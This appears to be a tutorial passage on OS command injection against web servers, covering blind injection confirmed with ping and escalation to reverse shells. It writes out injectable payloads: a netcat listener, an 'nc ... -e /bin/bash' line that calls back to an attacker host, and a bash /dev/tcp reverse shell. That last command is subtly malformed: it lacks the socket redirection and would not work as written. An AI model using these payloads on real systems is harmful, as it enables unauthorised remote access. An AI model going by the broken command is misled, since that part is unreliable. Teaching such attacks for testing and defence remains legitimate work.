Command injection attacks against web servers (and esp. dynamic ones with a SQL backend) leverage the same attack vector as XSS. The aim differs however. A command injection is designed to send operating system commands along with user input in an attempt to get the system to run them. These commands typically run with the same privileges as the web server, which is why running the web server as root on a Unix/Linux system or with SYSTEM privileges on a Windows system is very risky.
Running the web server with limited privileges does not fully mitigate command injection vulnerabilities but does make it more difficult for the attacker. Also, chrooted web environments restrict what commands the attacker can access and run further.
When testing for command injection, ping is a very attractive command to use for many reasons:
- Most operating systems have it by default
- Runs with limited privileges
- Many networks allow outbound ICMP Echo
- Unlikely to damage the system
- Will most likely not be noticed
- The command is relatively short: “ping [ip address]” which helps if the buffer is limited
- Verifies outbound connectivity back to the attacker
- Validates command execution if the attacker cannot see the output of the commands
With respect to the last point above, the application involved may not print out the results of the commands in its response to the command injection. By injecting the ping command and using the attacker system’s IP address as its target, the attacker can verify that the command has been executed by watching for inbound ICMP echo requests to the system. This is called ‘Blind Injection’.
A network sniffer can be used to detect incoming ICMP ping traffic even if the system is set to ping a non-existent host.
The ping command does have a drawback. On a Unix/Linux system the command “ping [ip address]” will ping continuously until it is killed or the system reboots. This can leave many processes running on the target system. Using the “-c [N]” command line option will limit the number of pings sent. Windows by default sends 3 pings and exits, but can be instructed to send any number of pings using “-n [N]”.
The “killall ping” command may also work, but caution must be used. On Linux, “killall” will kill processes based on name, but on a Solaris system it will kill all processes and force a reboot of the system.
If netcat happens to be installed on the target system, its functionality can be invoked by blind injection as well to launch a reverse shell. First, start with invoking a netcat listener:
- nc –n –v –l –p [port]
Assuming that netcat is located in /usr/local/bin; injecting the following into the vulnerable web application will create a reverse shell back to the attacker system running the listener:
- Stuff; /usr/local/bin/nc [listener IP address] [port of listener] –e /bin/bash; echo hello
“Stuff” in this case is arbitrary data. “echo hello” should send “hello” to the listener on the attacker system, verifying that the reverse shell was successful.
There’s another interesting way to create a reverse shell without netcat being installed on the target system and works by redirecting data to/from the network using /dev/tcp or dev/udp. This works with most versions of linux, though Debian, Ubuntu, Knoppix and their variants have been compiled to disallow redirection to the network via /dev. To do this redirection, the command injected would have the form:
- Stuff; /bin/bash –i /dev/tcp/[ip address of listener]/[port] 0<&1 2>&1; echo hello
“Stuff” is again arbitrary data. /bin/bash –i sets interactive mode, 0<&1 and 2>&1 sets standard input and output to/from the interactive shell. The “echo hello” will send “hello” back to the listener to validate that the reverse shell works.
In respect to SQL servers, SQL injection flaws can be used save injected commands into a database. With this combination of SQL injection and command injection, a database will then serve system commands up whenever a web page calls a compromised table.